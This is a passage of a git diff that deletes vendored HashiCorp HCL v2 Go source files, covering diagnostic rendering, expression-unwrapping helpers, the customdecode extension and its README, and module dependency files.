snipRange := *diag.Subject - highlightRange := snipRange - if diag.Context != nil { - // Show enough of the source code to include both the subject - // and context ranges, which overlap in all reasonable - // situations. - snipRange = RangeOver(snipRange, *diag.Context) - } - // We can't illustrate an empty range, so we'll turn such ranges into - // single-character ranges, which might not be totally valid (may point - // off the end of a line, or off the end of the file) but are good - // enough for the bounds checks we do below. - if snipRange.Empty() { - snipRange.End.Byte++ - snipRange.End.Column++ - } - if highlightRange.Empty() { - highlightRange.End.Byte++ - highlightRange.End.Column++ - } - - file := w.files[diag.Subject.Filename] - if file == nil || file.Bytes == nil { - fmt.Fprintf(w.wr, " on %s line %d:\n (source code not available)\n\n", diag.Subject.Filename, diag.Subject.Start.Line) - } else { - - var contextLine string - if diag.Subject != nil { - contextLine = contextString(file, diag.Subject.Start.Byte) - if contextLine != "" { - contextLine = ", in " + contextLine - } - } - - fmt.Fprintf(w.wr, " on %s line %d%s:\n", diag.Subject.Filename, diag.Subject.Start.Line, contextLine) - - src := file.Bytes - sc := NewRangeScanner(src, diag.Subject.Filename, bufio.ScanLines) - - for sc.Scan() { - lineRange := sc.Range() - if !lineRange.Overlaps(snipRange) { - continue - } - - beforeRange, highlightedRange, afterRange := lineRange.PartitionAround(highlightRange) - if highlightedRange.Empty() { - fmt.Fprintf(w.wr, "%4d: %s\n", lineRange.Start.Line, sc.Bytes()) - } else { - before := beforeRange.SliceBytes(src) - highlighted := highlightedRange.SliceBytes(src) - after := afterRange.SliceBytes(src) - fmt.Fprintf( - w.wr, "%4d: %s%s%s%s%s\n", - lineRange.Start.Line, - before, - highlightCode, highlighted, resetCode, - after, - ) - } - - } - - w.wr.Write([]byte{'\n'}) - } - - if diag.Expression != nil && diag.EvalContext != nil { - // We will attempt to render the values for any variables - // referenced in the given expression as additional context, for - // situations where the same expression is evaluated multiple - // times in different scopes. - expr := diag.Expression - ctx := diag.EvalContext - - vars := expr.Variables() - stmts := make([]string, 0, len(vars)) - seen := make(map[string]struct{}, len(vars)) - for _, traversal := range vars { - val, diags := traversal.TraverseAbs(ctx) - if diags.HasErrors() { - // Skip anything that generates errors, since we probably - // already have the same error in our diagnostics set - // already. - continue - } - - traversalStr := w.traversalStr(traversal) - if _, exists := seen[traversalStr]; exists { - continue // don't show duplicates when the same variable is referenced multiple times - } - switch { - case !val.IsKnown(): - // Can't say anything about this yet, then. - continue - case val.IsNull(): - stmts = append(stmts, fmt.Sprintf("%s set to null", traversalStr)) - default: - stmts = append(stmts, fmt.Sprintf("%s as %s", traversalStr, w.valueStr(val))) - } - seen[traversalStr] = struct{}{} - } - - sort.Strings(stmts) // FIXME: Should maybe use a traversal-aware sort that can sort numeric indexes properly? - last := len(stmts) - 1 - - for i, stmt := range stmts { - switch i { - case 0: - w.wr.Write([]byte{'w', 'i', 't', 'h', ' '}) - default: - w.wr.Write([]byte{' ', ' ', ' ', ' ', ' '}) - } - w.wr.Write([]byte(stmt)) - switch i { - case last: - w.wr.Write([]byte{'.', '\n', '\n'}) - default: - w.wr.Write([]byte{',', '\n'}) - } - } - } - } - - if diag.Detail != "" { - detail := diag.Detail - if w.width != 0 { - detail = wordwrap.WrapString(detail, w.width) - } - fmt.Fprintf(w.wr, "%s\n\n", detail) - } - - return nil -} - -func (w *diagnosticTextWriter) WriteDiagnostics(diags Diagnostics) error { - for _, diag := range diags { - err := w.WriteDiagnostic(diag) - if err != nil { - return err - } - } - return nil -} - -func (w *diagnosticTextWriter) traversalStr(traversal Traversal) string { - // This is a specialized subset of traversal rendering tailored to - // producing helpful contextual messages in diagnostics. It is not - // comprehensive nor intended to be used for other purposes. - - var buf bytes.Buffer - for _, step := range traversal { - switch tStep := step.(type) { - case TraverseRoot: - buf.WriteString(tStep.Name) - case TraverseAttr: - buf.WriteByte('.') - buf.WriteString(tStep.Name) - case TraverseIndex: - buf.WriteByte('[') - if keyTy := tStep.Key.Type(); keyTy.IsPrimitiveType() { - buf.WriteString(w.valueStr(tStep.Key)) - } else { - // We'll just use a placeholder for more complex values, - // since otherwise our result could grow ridiculously long. - buf.WriteString("...") - } - buf.WriteByte(']') - } - } - return buf.String() -} - -func (w *diagnosticTextWriter) valueStr(val cty.Value) string { - // This is a specialized subset of value rendering tailored to producing - // helpful but concise messages in diagnostics. It is not comprehensive - // nor intended to be used for other purposes. - - ty := val.Type() - switch { - case val.IsNull(): - return "null" - case !val.IsKnown(): - // Should never happen here because we should filter before we get - // in here, but we'll do something reasonable rather than panic. - return "(not yet known)" - case ty == cty.Bool: - if val.True() { - return "true" - } - return "false" - case ty == cty.Number: - bf := val.AsBigFloat() - return bf.Text('g', 10) - case ty == cty.String: - // Go string syntax is not exactly the same as HCL native string syntax, - // but we'll accept the minor edge-cases where this is different here - // for now, just to get something reasonable here. - return fmt.Sprintf("%q", val.AsString()) - case ty.IsCollectionType() || ty.IsTupleType(): - l := val.LengthInt() - switch l { - case 0: - return "empty " + ty.FriendlyName() - case 1: - return ty.FriendlyName() + " with 1 element" - default: - return fmt.Sprintf("%s with %d elements", ty.FriendlyName(), l) - } - case ty.IsObjectType(): - atys := ty.AttributeTypes() - l := len(atys) - switch l { - case 0: - return "object with no attributes" - case 1: - var name string - for k := range atys { - name = k - } - return fmt.Sprintf("object with 1 attribute %q", name) - default: - return fmt.Sprintf("object with %d attributes", l) - } - default: - return ty.FriendlyName() - } -} - -func contextString(file *File, offset int) string { - type contextStringer interface { - ContextString(offset int) string - } - - if cser, ok := file.Nav.(contextStringer); ok { - return cser.ContextString(offset) - } - return "" -} diff --git a/vendor/github.com/hashicorp/hcl/v2/didyoumean.go b/vendor/github.com/hashicorp/hcl/v2/didyoumean.go deleted file mode 100644 index c12833440a..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/didyoumean.go +++ /dev/null @@ -1,24 +0,0 @@ -package hcl - -import ( - "github.com/agext/levenshtein" -) - -// nameSuggestion tries to find a name from the given slice of suggested names -// that is close to the given name and returns it if found. If no suggestion -// is close enough, returns the empty string. -// -// The suggestions are tried in order, so earlier suggestions take precedence -// if the given string is similar to two or more suggestions. -// -// This function is intended to be used with a relatively-small number of -// suggestions. It's not optimized for hundreds or thousands of them. -func nameSuggestion(given string, suggestions []string) string { - for _, suggestion := range suggestions { - dist := levenshtein.Distance(given, suggestion, nil) - if dist < 3 { // threshold determined experimentally - return suggestion - } - } - return "" -} diff --git a/vendor/github.com/hashicorp/hcl/v2/doc.go b/vendor/github.com/hashicorp/hcl/v2/doc.go deleted file mode 100644 index 0d43fb2c78..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/doc.go +++ /dev/null @@ -1,34 +0,0 @@ -// Package hcl contains the main modelling types and general utility functions -// for HCL. -// -// For a simple entry point into HCL, see the package in the subdirectory -// "hclsimple", which has an opinionated function Decode that can decode HCL -// configurations in either native HCL syntax or JSON syntax into a Go struct -// type: -// -// package main -// -// import ( -// "log" -// "github.com/hashicorp/hcl/v2/hclsimple" -// ) -// -// type Config struct { -// LogLevel string `hcl:"log_level"` -// } -// -// func main() { -// var config Config -// err := hclsimple.DecodeFile("config.hcl", nil, &config) -// if err != nil { -// log.Fatalf("Failed to load configuration: %s", err) -// } -// log.Printf("Configuration is %#v", config) -// } -// -// If your application needs more control over the evaluation of the -// configuration, you can use the functions in the subdirectories hclparse, -// gohcl, hcldec, etc. Splitting the handling of configuration into multiple -// phases allows for advanced patterns such as allowing expressions in one -// part of the configuration to refer to data defined in another part. -package hcl diff --git a/vendor/github.com/hashicorp/hcl/v2/eval_context.go b/vendor/github.com/hashicorp/hcl/v2/eval_context.go deleted file mode 100644 index 915910ad8a..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/eval_context.go +++ /dev/null @@ -1,25 +0,0 @@ -package hcl - -import ( - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -// An EvalContext provides the variables and functions that should be used -// to evaluate an expression. -type EvalContext struct { - Variables map[string]cty.Value - Functions map[string]function.Function - parent *EvalContext -} - -// NewChild returns a new EvalContext that is a child of the receiver. -func (ctx *EvalContext) NewChild() *EvalContext { - return &EvalContext{parent: ctx} -} - -// Parent returns the parent of the receiver, or nil if the receiver has -// no parent. -func (ctx *EvalContext) Parent() *EvalContext { - return ctx.parent -} diff --git a/vendor/github.com/hashicorp/hcl/v2/expr_call.go b/vendor/github.com/hashicorp/hcl/v2/expr_call.go deleted file mode 100644 index 6963fbae36..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/expr_call.go +++ /dev/null @@ -1,46 +0,0 @@ -package hcl - -// ExprCall tests if the given expression is a function call and, -// if so, extracts the function name and the expressions that represent -// the arguments. If the given expression is not statically a function call, -// error diagnostics are returned. -// -// A particular Expression implementation can support this function by -// offering a method called ExprCall that takes no arguments and returns -// *StaticCall. This method should return nil if a static call cannot -// be extracted. Alternatively, an implementation can support -// UnwrapExpression to delegate handling of this function to a wrapped -// Expression object. -func ExprCall(expr Expression) (*StaticCall, Diagnostics) { - type exprCall interface { - ExprCall() *StaticCall - } - - physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { - _, supported := expr.(exprCall) - return supported - }) - - if exC, supported := physExpr.(exprCall); supported { - if call := exC.ExprCall(); call != nil { - return call, nil - } - } - return nil, Diagnostics{ - &Diagnostic{ - Severity: DiagError, - Summary: "Invalid expression", - Detail: "A static function call is required.", - Subject: expr.StartRange().Ptr(), - }, - } -} - -// StaticCall represents a function call that was extracted statically from -// an expression using ExprCall. -type StaticCall struct { - Name string - NameRange Range - Arguments []Expression - ArgsRange Range -} diff --git a/vendor/github.com/hashicorp/hcl/v2/expr_list.go b/vendor/github.com/hashicorp/hcl/v2/expr_list.go deleted file mode 100644 index d05cca0b9a..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/expr_list.go +++ /dev/null @@ -1,37 +0,0 @@ -package hcl - -// ExprList tests if the given expression is a static list construct and, -// if so, extracts the expressions that represent the list elements. -// If the given expression is not a static list, error diagnostics are -// returned. -// -// A particular Expression implementation can support this function by -// offering a method called ExprList that takes no arguments and returns -// []Expression. This method should return nil if a static list cannot -// be extracted. Alternatively, an implementation can support -// UnwrapExpression to delegate handling of this function to a wrapped -// Expression object. -func ExprList(expr Expression) ([]Expression, Diagnostics) { - type exprList interface { - ExprList() []Expression - } - - physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { - _, supported := expr.(exprList) - return supported - }) - - if exL, supported := physExpr.(exprList); supported { - if list := exL.ExprList(); list != nil { - return list, nil - } - } - return nil, Diagnostics{ - &Diagnostic{ - Severity: DiagError, - Summary: "Invalid expression", - Detail: "A static list expression is required.", - Subject: expr.StartRange().Ptr(), - }, - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/expr_map.go b/vendor/github.com/hashicorp/hcl/v2/expr_map.go deleted file mode 100644 index 96d1ce4bfa..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/expr_map.go +++ /dev/null @@ -1,44 +0,0 @@ -package hcl - -// ExprMap tests if the given expression is a static map construct and, -// if so, extracts the expressions that represent the map elements. -// If the given expression is not a static map, error diagnostics are -// returned. -// -// A particular Expression implementation can support this function by -// offering a method called ExprMap that takes no arguments and returns -// []KeyValuePair. This method should return nil if a static map cannot -// be extracted. Alternatively, an implementation can support -// UnwrapExpression to delegate handling of this function to a wrapped -// Expression object. -func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) { - type exprMap interface { - ExprMap() []KeyValuePair - } - - physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { - _, supported := expr.(exprMap) - return supported - }) - - if exM, supported := physExpr.(exprMap); supported { - if pairs := exM.ExprMap(); pairs != nil { - return pairs, nil - } - } - return nil, Diagnostics{ - &Diagnostic{ - Severity: DiagError, - Summary: "Invalid expression", - Detail: "A static map expression is required.", - Subject: expr.StartRange().Ptr(), - }, - } -} - -// KeyValuePair represents a pair of expressions that serve as a single item -// within a map or object definition construct. -type KeyValuePair struct { - Key Expression - Value Expression -} diff --git a/vendor/github.com/hashicorp/hcl/v2/expr_unwrap.go b/vendor/github.com/hashicorp/hcl/v2/expr_unwrap.go deleted file mode 100644 index 6d5d205c49..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/expr_unwrap.go +++ /dev/null @@ -1,68 +0,0 @@ -package hcl - -type unwrapExpression interface { - UnwrapExpression() Expression -} - -// UnwrapExpression removes any "wrapper" expressions from the given expression, -// to recover the representation of the physical expression given in source -// code. -// -// Sometimes wrapping expressions are used to modify expression behavior, e.g. -// in extensions that need to make some local variables available to certain -// sub-trees of the configuration. This can make it difficult to reliably -// type-assert on the physical AST types used by the underlying syntax. -// -// Unwrapping an expression may modify its behavior by stripping away any -// additional constraints or capabilities being applied to the Value and -// Variables methods, so this function should generally only be used prior -// to operations that concern themselves with the static syntax of the input -// configuration, and not with the effective value of the expression. -// -// Wrapper expression types must support unwrapping by implementing a method -// called UnwrapExpression that takes no arguments and returns the embedded -// Expression. Implementations of this method should peel away only one level -// of wrapping, if multiple are present. This method may return nil to -// indicate _dynamically_ that no wrapped expression is available, for -// expression types that might only behave as wrappers in certain cases. -func UnwrapExpression(expr Expression) Expression { - for { - unwrap, wrapped := expr.(unwrapExpression) - if !wrapped { - return expr - } - innerExpr := unwrap.UnwrapExpression() - if innerExpr == nil { - return expr - } - expr = innerExpr - } -} - -// UnwrapExpressionUntil is similar to UnwrapExpression except it gives the -// caller an opportunity to test each level of unwrapping to see each a -// particular expression is accepted. -// -// This could be used, for example, to unwrap until a particular other -// interface is satisfied, regardless of wrap wrapping level it is satisfied -// at. -// -// The given callback function must return false to continue wrapping, or -// true to accept and return the proposed expression given. If the callback -// function rejects even the final, physical expression then the result of -// this function is nil. -func UnwrapExpressionUntil(expr Expression, until func(Expression) bool) Expression { - for { - if until(expr) { - return expr - } - unwrap, wrapped := expr.(unwrapExpression) - if !wrapped { - return nil - } - expr = unwrap.UnwrapExpression() - if expr == nil { - return nil - } - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/README.md b/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/README.md deleted file mode 100644 index 1636f577a0..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/README.md +++ /dev/null @@ -1,209 +0,0 @@ -# HCL Custom Static Decoding Extension - -This HCL extension provides a mechanism for defining arguments in an HCL-based -language whose values are derived using custom decoding rules against the -HCL expression syntax, overriding the usual behavior of normal expression -evaluation. - -"Arguments", for the purpose of this extension, currently includes the -following two contexts: - -* For applications using `hcldec` for dynamic decoding, a `hcldec.AttrSpec` - or `hcldec.BlockAttrsSpec` can be given a special type constraint that - opts in to custom decoding behavior for the attribute(s) that are selected - by that specification. - -* When working with the HCL native expression syntax, a function given in - the `hcl.EvalContext` during evaluation can have parameters with special - type constraints that opt in to custom decoding behavior for the argument - expression associated with that parameter in any call. - -The above use-cases are rather abstract, so we'll consider a motivating -real-world example: sometimes we (language designers) need to allow users -to specify type constraints directly in the language itself, such as in -[Terraform's Input Variables](https://www.terraform.io/docs/configuration/variables.html). -Terraform's `variable` blocks include an argument called `type` which takes -a type constraint given using HCL expression building-blocks as defined by -[the HCL `typeexpr` extension](../typeexpr/README.md). - -A "type constraint expression" of that sort is not an expression intended to -be evaluated in the usual way. Instead, the physical expression is -deconstructed using [the static analysis operations](../../spec.md#static-analysis) -to produce a `cty.Type` as the result, rather than a `cty.Value`. - -The purpose of this Custom Static Decoding Extension, then, is to provide a -bridge to allow that sort of custom decoding to be used via mechanisms that -normally deal in `cty.Value`, such as `hcldec` and native syntax function -calls as listed above. - -(Note: [`gohcl`](https://pkg.go.dev/github.com/hashicorp/hcl/v2/gohcl) has -its own mechanism to support this use case, exploiting the fact that it is -working directly with "normal" Go types. Decoding into a struct field of -type `hcl.Expression` obtains the expression directly without evaluating it -first. The Custom Static Decoding Extension is not necessary for that `gohcl` -technique. You can also implement custom decoding by working directly with -the lowest-level HCL API, which separates extraction of and evaluation of -expressions into two steps.) - -## Custom Decoding Types - -This extension relies on a convention implemented in terms of -[_Capsule Types_ in the underlying `cty` type system](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types). `cty` allows a capsule type to carry arbitrary -extension metadata values as an aid to creating higher-level abstractions like -this extension. - -A custom argument decoding mode, then, is implemented by creating a new `cty` -capsule type that implements the `ExtensionData` custom operation to return -a decoding function when requested. For example: - -```go -var keywordType cty.Type -keywordType = cty.CapsuleWithOps("keyword", reflect.TypeOf(""), &cty.CapsuleOps{ - ExtensionData: func(key interface{}) interface{} { - switch key { - case customdecode.CustomExpressionDecoder: - return customdecode.CustomExpressionDecoderFunc( - func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - var diags hcl.Diagnostics - kw := hcl.ExprAsKeyword(expr) - if kw == "" { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid keyword", - Detail: "A keyword is required", - Subject: expr.Range().Ptr(), - }) - return cty.UnkownVal(keywordType), diags - } - return cty.CapsuleVal(keywordType, &kw) - }, - ) - default: - return nil - } - }, -}) -``` - -The boilerplate here is a bit fussy, but the important part for our purposes -is the `case customdecode.CustomExpressionDecoder:` clause, which uses -a custom extension key type defined in this package to recognize when a -component implementing this extension is checking to see if a target type -has a custom decode implementation. - -In the above case we've defined a type that decodes expressions as static -keywords, so a keyword like `foo` would decode as an encapsulated `"foo"` -string, while any other sort of expression like `"baz"` or `1 + 1` would -return an error. - -We could then use `keywordType` as a type constraint either for a function -parameter or a `hcldec` attribute specification, which would require the -argument for that function parameter or the expression for the matching -attributes to be a static keyword, rather than an arbitrary expression. -For example, in a `hcldec.AttrSpec`: - -```go -keywordSpec := &hcldec.AttrSpec{ - Name: "keyword", - Type: keywordType, -} -``` - -The above would accept input like the following and would set its result to -a `cty.Value` of `keywordType`, after decoding: - -```hcl -keyword = foo -``` - -## The Expression and Expression Closure `cty` types - -Building on the above, this package also includes two capsule types that use -the above mechanism to allow calling applications to capture expressions -directly and thus defer analysis to a later step, after initial decoding. - -The `customdecode.ExpressionType` type encapsulates an `hcl.Expression` alone, -for situations like our type constraint expression example above where it's -the static structure of the expression we want to inspect, and thus any -variables and functions defined in the evaluation context are irrelevant. - -The `customdecode.ExpressionClosureType` type encapsulates a -`*customdecode.ExpressionClosure` value, which binds the given expression to -the `hcl.EvalContext` it was asked to evaluate against and thus allows the -receiver of that result to later perform normal evaluation of the expression -with all the same variables and functions that would've been available to it -naturally. - -Both of these types can be used as type constraints either for `hcldec` -attribute specifications or for function arguments. Here's an example of -`ExpressionClosureType` to implement a function that can evaluate -an expression with some additional variables defined locally, which we'll -call the `with(...)` function: - -```go -var WithFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "variables", - Type: cty.DynamicPseudoType, - }, - { - Name: "expression", - Type: customdecode.ExpressionClosureType, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - varsVal := args[0] - exprVal := args[1] - if !varsVal.Type().IsObjectType() { - return cty.NilVal, function.NewArgErrorf(0, "must be an object defining local variables") - } - if !varsVal.IsKnown() { - // We can't predict our result type until the variables object - // is known. - return cty.DynamicPseudoType, nil - } - vars := varsVal.AsValueMap() - closure := customdecode.ExpressionClosureFromVal(exprVal) - result, err := evalWithLocals(vars, closure) - if err != nil { - return cty.NilVal, err - } - return result.Type(), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - varsVal := args[0] - exprVal := args[1] - vars := varsVal.AsValueMap() - closure := customdecode.ExpressionClosureFromVal(exprVal) - return evalWithLocals(vars, closure) - }, -}) - -func evalWithLocals(locals map[string]cty.Value, closure *customdecode.ExpressionClosure) (cty.Value, error) { - childCtx := closure.EvalContext.NewChild() - childCtx.Variables = locals - val, diags := closure.Expression.Value(childCtx) - if diags.HasErrors() { - return cty.NilVal, function.NewArgErrorf(1, "couldn't evaluate expression: %s", diags.Error()) - } - return val, nil -} -``` - -If the above function were placed into an `hcl.EvalContext` as `with`, it -could be used in a native syntax call to that function as follows: - -```hcl - foo = with({name = "Cory"}, "${greeting}, ${name}!") -``` - -The above assumes a variable in the main context called `greeting`, to which -the `with` function adds `name` before evaluating the expression given in -its second argument. This makes that second argument context-sensitive -- it -would behave differently if the user wrote the same thing somewhere else -- so -this capability should be used with care to make sure it doesn't cause confusion -for the end-users of your language. - -There are some other examples of this capability to evaluate expressions in -unusual ways in the `tryfunc` directory that is a sibling of this one. diff --git a/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/customdecode.go b/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/customdecode.go deleted file mode 100644 index c9d7a1efb2..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/customdecode.go +++ /dev/null @@ -1,56 +0,0 @@ -// Package customdecode contains a HCL extension that allows, in certain -// contexts, expression evaluation to be overridden by custom static analysis. -// -// This mechanism is only supported in certain specific contexts where -// expressions are decoded with a specific target type in mind. For more -// information, see the documentation on CustomExpressionDecoder. -package customdecode - -import ( - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" -) - -type customDecoderImpl int - -// CustomExpressionDecoder is a value intended to be used as a cty capsule -// type ExtensionData key for capsule types whose values are to be obtained -// by static analysis of an expression rather than normal evaluation of that -// expression. -// -// When a cooperating capsule type is asked for ExtensionData with this key, -// it must return a non-nil CustomExpressionDecoderFunc value. -// -// This mechanism is not universally supported; instead, it's handled in a few -// specific places where expressions are evaluated with the intent of producing -// a cty.Value of a type given by the calling application. -// -// Specifically, this currently works for type constraints given in -// hcldec.AttrSpec and hcldec.BlockAttrsSpec, and it works for arguments to -// function calls in the HCL native syntax. HCL extensions implemented outside -// of the main HCL module may also implement this; consult their own -// documentation for details. -const CustomExpressionDecoder = customDecoderImpl(1) - -// CustomExpressionDecoderFunc is the type of value that must be returned by -// a capsule type handling the key CustomExpressionDecoder in its ExtensionData -// implementation. -// -// If no error diagnostics are returned, the result value MUST be of the -// capsule type that the decoder function was derived from. If the returned -// error diagnostics prevent producing a value at all, return cty.NilVal. -type CustomExpressionDecoderFunc func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) - -// CustomExpressionDecoderForType takes any cty type and returns its -// custom expression decoder implementation if it has one. If it is not a -// capsule type or it does not implement a custom expression decoder, this -// function returns nil. -func CustomExpressionDecoderForType(ty cty.Type) CustomExpressionDecoderFunc { - if !ty.IsCapsuleType() { - return nil - } - if fn, ok := ty.CapsuleExtensionData(CustomExpressionDecoder).(CustomExpressionDecoderFunc); ok { - return fn - } - return nil -} diff --git a/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/expression_type.go b/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/expression_type.go deleted file mode 100644 index af7c66c235..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/ext/customdecode/expression_type.go +++ /dev/null @@ -1,146 +0,0 @@ -package customdecode - -import ( - "fmt" - "reflect" - - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" -) - -// ExpressionType is a cty capsule type that carries hcl.Expression values. -// -// This type implements custom decoding in the most general way possible: it -// just captures whatever expression is given to it, with no further processing -// whatsoever. It could therefore be useful in situations where an application -// must defer processing of the expression content until a later step. -// -// ExpressionType only captures the expression, not the evaluation context it -// was destined to be evaluated in. That means this type can be fine for -// situations where the recipient of the value only intends to do static -// analysis, but ExpressionClosureType is more appropriate in situations where -// the recipient will eventually evaluate the given expression. -var ExpressionType cty.Type - -// ExpressionVal returns a new cty value of type ExpressionType, wrapping the -// given expression. -func ExpressionVal(expr hcl.Expression) cty.Value { - return cty.CapsuleVal(ExpressionType, &expr) -} - -// ExpressionFromVal returns the expression encapsulated in the given value, or -// panics if the value is not a known value of ExpressionType. -func ExpressionFromVal(v cty.Value) hcl.Expression { - if !v.Type().Equals(ExpressionType) { - panic("value is not of ExpressionType") - } - ptr := v.EncapsulatedValue().(*hcl.Expression) - return *ptr -} - -// ExpressionClosureType is a cty capsule type that carries hcl.Expression -// values along with their original evaluation contexts. -// -// This is similar to ExpressionType except that during custom decoding it -// also captures the hcl.EvalContext that was provided, allowing callers to -// evaluate the expression later in the same context where it would originally -// have been evaluated, or a context derived from that one. -var ExpressionClosureType cty.Type - -// ExpressionClosure is the type encapsulated in ExpressionClosureType -type ExpressionClosure struct { - Expression hcl.Expression - EvalContext *hcl.EvalContext -} - -// ExpressionClosureVal returns a new cty value of type ExpressionClosureType, -// wrapping the given expression closure. -func ExpressionClosureVal(closure *ExpressionClosure) cty.Value { - return cty.CapsuleVal(ExpressionClosureType, closure) -} - -// Value evaluates the closure's expression using the closure's EvalContext, -// returning the result. -func (c *ExpressionClosure) Value() (cty.Value, hcl.Diagnostics) { - return c.Expression.Value(c.EvalContext) -} - -// ExpressionClosureFromVal returns the expression closure encapsulated in the -// given value, or panics if the value is not a known value of -// ExpressionClosureType. -// -// The caller MUST NOT modify the returned closure or the EvalContext inside -// it. To derive a new EvalContext, either create a child context or make -// a copy. -func ExpressionClosureFromVal(v cty.Value) *ExpressionClosure { - if !v.Type().Equals(ExpressionClosureType) { - panic("value is not of ExpressionClosureType") - } - return v.EncapsulatedValue().(*ExpressionClosure) -} - -func init() { - // Getting hold of a reflect.Type for hcl.Expression is a bit tricky because - // it's an interface type, but we can do it with some indirection. - goExpressionType := reflect.TypeOf((*hcl.Expression)(nil)).Elem() - - ExpressionType = cty.CapsuleWithOps("expression", goExpressionType, &cty.CapsuleOps{ - ExtensionData: func(key interface{}) interface{} { - switch key { - case CustomExpressionDecoder: - return CustomExpressionDecoderFunc( - func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - return ExpressionVal(expr), nil - }, - ) - default: - return nil - } - }, - TypeGoString: func(_ reflect.Type) string { - return "customdecode.ExpressionType" - }, - GoString: func(raw interface{}) string { - exprPtr := raw.(*hcl.Expression) - return fmt.Sprintf("customdecode.ExpressionVal(%#v)", *exprPtr) - }, - RawEquals: func(a, b interface{}) bool { - aPtr := a.(*hcl.Expression) - bPtr := b.(*hcl.Expression) - return reflect.DeepEqual(*aPtr, *bPtr) - }, - }) - ExpressionClosureType = cty.CapsuleWithOps("expression closure", reflect.TypeOf(ExpressionClosure{}), &cty.CapsuleOps{ - ExtensionData: func(key interface{}) interface{} { - switch key { - case CustomExpressionDecoder: - return CustomExpressionDecoderFunc( - func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - return ExpressionClosureVal(&ExpressionClosure{ - Expression: expr, - EvalContext: ctx, - }), nil - }, - ) - default: - return nil - } - }, - TypeGoString: func(_ reflect.Type) string { - return "customdecode.ExpressionClosureType" - }, - GoString: func(raw interface{}) string { - closure := raw.(*ExpressionClosure) - return fmt.Sprintf("customdecode.ExpressionClosureVal(%#v)", closure) - }, - RawEquals: func(a, b interface{}) bool { - closureA := a.(*ExpressionClosure) - closureB := b.(*ExpressionClosure) - // The expression itself compares by deep equality, but EvalContexts - // conventionally compare by pointer identity, so we'll comply - // with both conventions here by testing them separately. - return closureA.EvalContext == closureB.EvalContext && - reflect.DeepEqual(closureA.Expression, closureB.Expression) - }, - }) -} diff --git a/vendor/github.com/hashicorp/hcl/v2/go.mod b/vendor/github.com/hashicorp/hcl/v2/go.mod deleted file mode 100644 index c8c289d9fa..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/go.mod +++ /dev/null @@ -1,23 +0,0 @@ -module github.com/hashicorp/hcl/v2 - -go 1.12 - -require ( - github.com/agext/levenshtein v1.2.1 - github.com/apparentlymart/go-dump v0.0.0-20180507223929-23540a00eaa3 - github.com/apparentlymart/go-textseg/v12 v12.0.0 - github.com/davecgh/go-spew v1.1.1 - github.com/go-test/deep v1.0.3 - github.com/google/go-cmp v0.3.1 - github.com/kr/pretty v0.1.0 - github.com/kylelemons/godebug v0.0.0-20170820004349-d65d576e9348 - github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7 - github.com/pmezard/go-difflib v1.0.0 // indirect - github.com/sergi/go-diff v1.0.0 - github.com/spf13/pflag v1.0.2 - github.com/stretchr/testify v1.2.2 // indirect - github.com/zclconf/go-cty v1.2.0 - golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734 - golang.org/x/sys v0.0.0-20190502175342-a43fa875dd82 // indirect - golang.org/x/text v0.3.2 // indirect -) diff --git a/vendor/github.com/hashicorp/hcl/v2/go.sum b/vendor/github.com/hashicorp/hcl/v2/go.sum deleted file mode 100644 index 2a1073d117..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/go.sum +++ /dev/null @@ -1,53 +0,0 @@ -github.com/agext/levenshtein v1.2.1 h1:QmvMAjj2aEICytGiWzmxoE0x2KZvE0fvmqMOfy2tjT8= -github.com/agext/levenshtein v1.2.1/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= -github.com/apparentlymart/go-dump v0.0.0-20180507223929-23540a00eaa3 h1:ZSTrOEhiM5J5RFxEaFvMZVEAM1KvT1YzbEOwB2EAGjA= -github.com/apparentlymart/go-dump v0.0.0-20180507223929-23540a00eaa3/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM= -github.com/apparentlymart/go-textseg v1.0.0 h1:rRmlIsPEEhUTIKQb7T++Nz/A5Q6C9IuX2wFoYVvnCs0= -github.com/apparentlymart/go-textseg v1.0.0/go.mod h1:z96Txxhf3xSFMPmb5X/1W05FF/Nj9VFpLOpjS5yuumk= -github.com/apparentlymart/go-textseg/v12 v12.0.0 h1:bNEQyAGak9tojivJNkoqWErVCQbjdL7GzRt3F8NvfJ0= -github.com/apparentlymart/go-textseg/v12 v12.0.0/go.mod 